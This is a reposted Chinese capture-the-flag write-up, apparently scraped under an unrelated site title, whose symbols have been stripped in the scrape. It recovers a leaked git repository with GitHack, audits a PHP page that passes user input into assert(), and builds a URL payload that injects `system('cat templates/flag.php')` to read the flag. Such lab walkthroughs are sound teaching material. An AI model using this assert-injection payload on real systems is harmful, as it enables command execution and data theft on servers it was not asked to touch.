双语cms网站wordpress维护服务
news/
2025/9/24 3:17:09/
文章来源:
双语cms网站,wordpress维护服务,做网站换域名,杭州租房网站建设根据题目提示考虑是git库泄露 这里在地址栏后加.git也可以验证是git库泄露 使用GitHack工具对git库进行恢复重建 在templates目录下存在flag.php文件#xff0c;但里面并没有flag
有内容的只有主目录下的index.php index.php源码#xff1a;
?phpif (isset($_GET[page…根据题目提示考虑是git库泄露 这里在地址栏后加.git也可以验证是git库泄露 使用GitHack工具对git库进行恢复重建 在templates目录下存在flag.php文件但里面并没有flag
有内容的只有主目录下的index.php index.php源码
?phpif (isset($_GET[page])) {$page $_GET[page];
} else {$page home;
}$file templates/ . $page . .php;// I heard .. is dangerous!
assert(strpos($file, ..) false) or die(Detected hacking attempt!);// TODO: Make this look nice
assert(file_exists($file)) or die(That file doesnt exist!);?
!DOCTYPE html
htmlheadmeta charsetutf-8meta http-equivX-UA-Compatible contentIEedgemeta nameviewport contentwidthdevice-width, initial-scale1titleMy PHP Website/titlelink relstylesheet hrefhttps://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css //headbodynav classnavbar navbar-inverse navbar-fixed-topdiv classcontainerdiv classnavbar-headerbutton typebutton classnavbar-toggle collapsed data-togglecollapse data-target#navbar aria-expandedfalse aria-controlsnavbarspan classsr-onlyToggle navigation/spanspan classicon-bar/spanspan classicon-bar/spanspan classicon-bar/span/buttona classnavbar-brand href#Project name/a/divdiv idnavbar classcollapse navbar-collapseul classnav navbar-navli ?php if ($page home) { ?classactive?php } ?a href?pagehomeHome/a/lili ?php if ($page about) { ?classactive?php } ?a href?pageaboutAbout/a/lili ?php if ($page contact) { ?classactive?php } ?a href?pagecontactContact/a/li!--li ?php if ($page flag) { ?classactive?php } ?a href?pageflagMy secrets/a/li --/ul/div/div/navdiv classcontainer stylemargin-top: 50px?phprequire_once $file;?/divscript srchttps://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js /script srchttps://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js //body
/html
提取需要审计的PHP代码
代码审计
?phpif (isset($_GET[page])) { //判断$page是否存在$page $_GET[page]; //存在就以get方法取值
} else {$page home; //不存在就将home赋值给新建$page
}$file templates/ . $page . .php;// I heard .. is dangerous!
assert(strpos($file, ..) false) or die(Detected hacking attempt!);
//assert函数返回值如果不为true则执行die命令则PHP脚本终止运行
//所以我们可以构造一个$file使其直接执行系统命令并加上注释符把判断..的部分注释掉并即可// TODO: Make this look nice
assert(file_exists($file)) or die(That file doesnt exist!);
//判断$file文件是否存在不存在直接终止脚本?其中有一串关键代码$file templates/ . $page . .php;
我们通过前面的GitHack已知悉flag.php文件就在templates目录下
所以我们构造payload的时候使$page有cat flag.php命令就行 重点assert(strpos($file, ..) false) or die(Detected hacking attempt!);
首先使strpos函数闭合利用函数结构strpost(那么$file的前半部分应该是)
后面接上命令 or system(cat templates/flag.php)再接上注释符//
如此这般该条代码最后执行的效果应该是【绿色部分被//注释】
assert(strpos() or system(cat templates/flag.php);//, ..) false) or die(Detected hacking attempt!);
strpost()参数为空时返回false所以直接执行or后面的代码
最后构造payloadURL/?page) or system(cat templates/flag.php);// flagcyberpeace{a97ae1229c2668130daa2f0f432fdd1b}
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/914698.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!